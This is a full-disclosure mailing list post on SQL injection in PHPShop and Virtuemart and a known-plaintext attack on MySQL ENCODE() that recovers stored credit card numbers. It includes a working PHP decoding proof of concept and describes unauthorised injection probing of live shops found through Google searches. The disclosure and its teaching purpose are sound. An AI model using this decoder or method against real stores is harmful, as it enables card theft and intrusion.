Be careful what you google for, you might just find it!

["Sam Thomas" <Sam.Thomas () aquaterra org>]

Dear List,

 

The following is a cautionary tale, about what happens when you go around searching for generic vulnerabilities. It is 
quite long; if you don't want to read it I won't be offended. From a serious security perspective it contains 
information regarding recently patched SQL injection vulnerabilities in PHPShop and Virtuemart, two open source 
e-commerce solutions. It also contains technical information regarding why using MySQL's "ENCODE()" function to 
obfuscate sensitive data is not a safe practice. And further why it is particularly dangerous in the case of well 
structured data such as Credit Card numbers. I have not informed the MySQL developers as I do not believe this is what 
the function was intended for and the product already supplies more suitable functions for data encryption. However it 
is widely being used for this purpose and this is still currently the case in both PHPShop and Virtuemart. 

 

This function should not in any way be considered a safe method to protect sensitive data such as passwords or 
financial details. The attack presented here is effective only against numerical data but could easily be extended. I 
genuinely regret having executed the google search that I did, I ended up doing far more work pro bono than I ever 
would have wanted to. Perhaps if I had a more criminal bent I would be sitting on a beach in the Bahamas right now 
supping cocktails telling tales of how a simple google search had made me millions, but instead I'm writing a lengthy 
post to full-disclosure. 

 

About two months ago I was feeling bored and so decided to do something very stupid. I'd done it before and regretted 
it then, but I couldn't help myself. I opened up my web browser and typed "inurl:shop sql error" into the google 
toolbar. The usual array of online shops with trivial vulnerabilities showed up.

 

What took my interest this time was a chain of commercially run sites that seemed to be prone in quite a few user 
submitted variables. After a few "UNION SELECT 1,2,3,..." queries and a quick peek at the HTML I had a query that would 
list all the payment details for an order on the system (On their demo shop of course). However the most critical 
field, the credit card number, was gibberish. 

 

At this point I decided to place a few orders of my own with arbitrary numbers like "111...". I ran the query again on 
these new entries, and it still returned gibberish, but interesting gibberish. It was always 16 bytes long (The same as 
the original data), and any numbers which started the same had corresponding gibberish which started the same. It was 
time to return to the mighty google toolbar.

 

I tapped in the name of the credit card field from the database. A few clicks later and it became apparent that the 
shops were based on an early version of PHPShop and the numbers were being processed by MySQL's "ENCODE()" function. So 
back to the toolbar and click-click-click and the algorithm used by the "DECODE()" function is essentially:

 

crypt_int(password)

{

         Take the password as a seed and do some natty stuff with a random number generator to make a one-one 
transformation from the integers 0-255 onto themselves - Transformation[].

         Use the password again to generate a big old random number - Rand.

         Output Rand and Transformation[].

}

 

decode(encoded)

{

         shift=0.

         decoded="".

         for the length of encoded

         {

               shift=shift XOR myrand(Rand).

               index = (ASCII value of next character from encoded) XOR shift.

               decoded = decoded + CHR(Transformation[Index]).

               shift = shift XOR Transformation[Index].

         }

         Output decoded.

}

 

myrand(Rand)

{

      Output a sequence of pseudorandom numbers using Rand as a seed.

}

 

Now it was time to whip out my (not so) advanced cryptanalysis skills:

 

Observations:

Advanced cryptanalysis observation #1 - Credit Card numbers are 16 digits long.

Advanced cryptanalysis observation #2 - They consist of the digits 0-9 and nothing else.

 

Implications:

#1 - ACO1 means we only need consider the first 16 random numbers generated by myrand.

#2 - Since Transformation[] is one-one ACO2 means index is limited to 10 values.

 

Theorem:

 

It's possible to create a function capable of decoding all Credit Card numbers in a MySQL database if they are encoded 
with the "ENCODE()" function without knowing the password used if we know the encoded value of two simple plaintexts.

 

Consider the cunningly constructed plaintext "0000000000000000". 

Again using the fact that Transformation[] is one-one we know index takes one and only one value throughout the 
execution of the decoding algorithm. Now observe what happens between the generation of two digits:

 

index = (ASCII value of next character from encoded) XOR shift.

decoded = decoded + CHR(Transformation[index]).

shift = shift XOR Transformation[index].

shift = shift XOR myrand(Rand). 

index = (ASCII value of next character from encoded) XOR shift.

decoded = decoded + CHR(Transformation[index]).

 

But we know the value of Transformation[Index] is the ASCII value of "0". Now let e1,...,e16 be the byte values of the 
encoded data, between the nth and (n+1)th digit being decoded we have:

 

index = e(n) XOR shift

shift = shift XOR ASCII("0").

shift = shift XOR myrand(Rand).

index = e(n+1) XOR shift

 

Let s1,...,s16 and r1,...,r16 be the values of shift and myrand throughout the algorithm.

 

e(n) XOR s(n) = e(n+1) XOR s(n+1) 

 

but

 

s(n+1) = s(n) XOR ASCII("0") XOR r(n+1)

 

so 

 

e(n) XOR e(n+1) = s(n+1) XOR s(n) = ASCII("0") XOR r(n+1)

e(n) XOR e(n+1) XOR ASCII("0") = r(n+1)

 

Thus we can recover all but the first random number generated by myrand.

 

Create a new set of values key1,...,key16 where

 

key1 = e1 XOR ASCII("0") and key(n+1)=e(n+1) XOR e(n) XOR ASCII("0")=r(n+1) for 0<n<16

 

Now consider another cunningly constructed plaintext "123456789xxxxxxx" where the x's are any digit. Let f1,...,f9 be 
the values of the first 9 encoded digits, we will use them to construct an equivalent transformation to Transform[]. 

 

Comparing the values of index that will be produced by decoding the encoded version of this plaintext we know:

 

Transformation^-1["0"] = e1 XOR r1.

Transformation^-1["1"] = f1 XOR r1.

Transformation^-1["2"] = f2 XOR r1 XOR r2 XOR ASCII("1").

Transformation^-1["3"] = f3 XOR r1 XOR r2 XOR r3 XOR ASCII("1") XOR ASCII("2").

...

 

so

 

Transformation^-1["1"] = e1 XOR f1 XOR Tranformation^-1["0"] = f1 XOR key1 XOR ASCII("0") XOR Transformation^-1["0"].

Transformation^-1["2"] = e1 XOR f2 XOR ASCII("0") XOR r2 XOR ASCII("1") XOR Transformation^-1["0"] = f2 XOR key1 XOR 
key2 XOR ASCII("1") XOR ASCII("0") XOR Transformation^-1["0"].

Transformation^-1["3"] = e1 XOR f3 XOR ASCII("0") XOR r2 XOR r3 XOR ASCII("1") XOR ASCII("2") XOR 
Transformation^-1["0"]= f3 XOR key1 XOR key2 XOR key3 XOR ASCII("1") XOR ASCII("2") XOR ASCII("0") XOR 
Transformation^-1["0"]

...

 

Now we set the values trans0,...,trans9 thus:

 

trans0=ASCII("0").

trans1=f1 XOR key1.

trans2=f2 XOR key1 XOR key2 XOR ASCII("1").

trans3=f3 XOR key1 XOR key2 XOR key3 XOR ASCII("1") XOR ASCII("2").

...

 

so

 

Transformation^-1["0"]=trans0 XOR ASCII("0") XOR Transformation^-1["0"]

Transformation^-1["1"]=trans1 XOR ASCII("0") XOR Transformation^-1["0"].

Transformation^-1["2"]=trans2 XOR ASCII("0") XOR Transformation^-1["0"].

Transformation^-1["3"]=trans3 XOR ASCII("0") XOR Transformation^-1["0"].

...

 

These are essentially the values of index which should translate to each digit, however in this transformation 0 maps 
onto itself.

 

The following function, once the values of key and trans have been established, will produce the same result as MySQL's 
"DECODE()" function for any encoded data for which the plaintext was 16 numerical digits (0-9), IE a Credit Card number.

 

kp_decode(encoded)

{

        decoded="".

        shift=0.

        for i = 1 to 16

        {

               shift=shift XOR key(i).

               temp=(ASCII value of next character from encoded) XOR shift.

               for j=0 to 9

               {

                        if temp=trans(j) then decoded=decoded+digit j

               }

               shift=shift XOR (ASCII value of digit j)

         }

         Output decoded.

}

 

So now I knew that the chain of shops was completely vulnerable, but also that PHPShop (Which seemed to be in 
reasonably wide use) was also using a dangerous technique to obfuscate customers credit card numbers. I thought I 
better have a look through the PHPShop source to see if there were any injections there. I then also came across 
Virtuemart which is another open source e-commerce solution in wide-stream use that had the same code base as PHPShop 
and also uses the "ENCODE()" function. Now I had two fairly hefty source code audits I felt obliged to do. Once again 
calling upon my advanced skills (Text search within WinRar) I was able to find injections in both products. 
Unfortunately having plaintext's encoded wasn't as easy as before, as they both applied the Luhn algorithm to validate 
the Credit Card numbers.

 

Back to the toolbar again, "Luhn algorithm", click-click-toolbar-blah-blah-blah, "4444444444444448" and 
"4123456789014444" both satisfy the algorithm and can be used to provide the information needed to decode. At this 
point I had to fight the temptation to steal 100,000 odd numbers and go on a carding rampage. With that battle 
eventually won I proceeded to write three PoC's to list the credit cards from each of the effected systems, and sent 
them to the relevant developers, along with as detailed an explanation as I could muster of the issues involved.  After 
two months of badgering (Don't get me wrong in the various circumstances I think all parties responded in a reasonably 
timely manner and if I was an open source developer I would definitely need badgering), the SQL injections are fixed 
but both PHPShop and Virtuemart continue to use the "ENCODE()" function to store their credit card numbers. The 
Virtuemart developer has assured me the encoding mechanism in his prduct wi
 ll be changed in the next full release. 

 

If anyone is still reading at this point, thank you! I don't want to publish the full PoC's for obvious reasons, but I 
will finish off with a mini PoC to show a practical impementation of the alternative decoding routine so it is easy to 
verify the technique used. It's a bit messy and inefficient, but it works and I'm lazy.

 

Cheers,

Sam

 
<?php
//
//  ******************************************************************
//  *                                                                *
//  *   PoC code to decode 16 digit numbers encoded with the MySQL   *
//  *   "ENCODE()" function.                                         *
//  *                                                                *
//  ******************************************************************
//

$key=array("*","*","*","*","*","*","*","*","*","*","*","*","*","*","*");
$trans=array("0","1","2","3","4","5","6","7","8","9");
$password="alphabettispagheti";
$m=mysql_connect("localhost");
 
$qry = mysql_query("SELECT ENCODE('4444444444444448','$password')");
$str_res = mysql_fetch_array($qry);
$ekp1  = $str_res[0];
 
$qry = mysql_query("SELECT ENCODE('4123456789014444','$password')");
$str_res = mysql_fetch_array($qry);
$ekp2  = $str_res[0];
 
$qry = mysql_query("SELECT ENCODE('3141592653589793','$password')");
$str_res = mysql_fetch_array($qry);
$enc  = $str_res[0];
 
kp_crypt_init($ekp1,$ekp2);
echo kp_decode($enc);

//
//  ******************************************************************
//  *                                                                *
//  *   function - kp_crypt_init                                     *
//  *                                                                *
//  *   inputs - encoded forms of "4444444444444448" ($ekp1)         *
//  *                          &  "4123456789014444" ($ekp2)         *
//  *                                                                *
//  *   prepares the $key and $trans arrays for decoding.            *
//  *                                                                *
//  ******************************************************************
//
function kp_crypt_init($ekp1,$ekp2)
{
        global $key,$trans;
        $i=0;
        $j=0;
        $key[0]=chr(ord(substr($ekp1,0,1)) ^ ord($trans[4]));
        for($i = 1; $i <= 14; $i++)
        {
                $key[$i]=chr(ord(substr($ekp1,$i-1,1))^ord(substr($ekp1,$i,1))^52);
        }
        $key[15]=chr(ord(substr($ekp2,14,1))^ord(substr($ekp2,15,1))^52);
        $i=11;
        $trans[0]=substr($ekp2,$i-1,1);
        for ($j=1; $j<=$i;$j++)
        {
                $trans[0]=chr(ord($trans[0])^ord($key[$j-1]));
        }
        for ($j=2; $j<=$i;$j++)
        {
                if ($j==2) {$trans[0]=chr(ord($trans[0])^52);} else {$trans[0]=chr(ord($trans[0])^(48+$j-2));}
        }
        for($i = 2; $i <= 10; $i++)
        {
                $trans[$i-1]=substr($ekp2,$i-1,1);
                for ($j=1; $j<=$i;$j++)
                {
                        $trans[$i-1]=chr(ord($trans[$i-1])^ord($key[$j-1]));
                }
                for ($j=2; $j<=$i;$j++)
                {
                        if ($j==2) {$trans[$i-1]=chr(ord($trans[$i-1])^52);} else 
{$trans[$i-1]=chr(ord($trans[$i-1])^(48+$j-2));}
                }
        }
}
//
//  ******************************************************************
//  *                                                                *
//  *   function - kp_decode                                         *
//  *                                                                *
//  *   input - encoded data                                         *
//  *                                                                *
//  *   output - decoded data!                                       *
//  *                                                                *
//  ******************************************************************
//
function kp_decode($encoded)
{
        global $key,$trans;
        $i=0;
        $j=0;
        $decoded="";
        $shift=0;
        for ($i=0; $i<=15; $i++)
        {
                $shift^=ord($key[$i]);
                $tmp=chr(ord(substr($encoded,$i,1))^$shift);
                $tmp2="-";
                for ($j=0; $j<=9; $j++)
                {
                        if ($tmp==$trans[$j])
                        {
                                $tmp2=chr(48+$j);
                        }
                }
                $decoded.=$tmp2;
                $shift^=ord($tmp2);
        }
        return $decoded;
}
?>
 


***********************************************************************************

For more information about Aquaterra Leisure, see www.aquaterra.org

***********************************************************************************


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/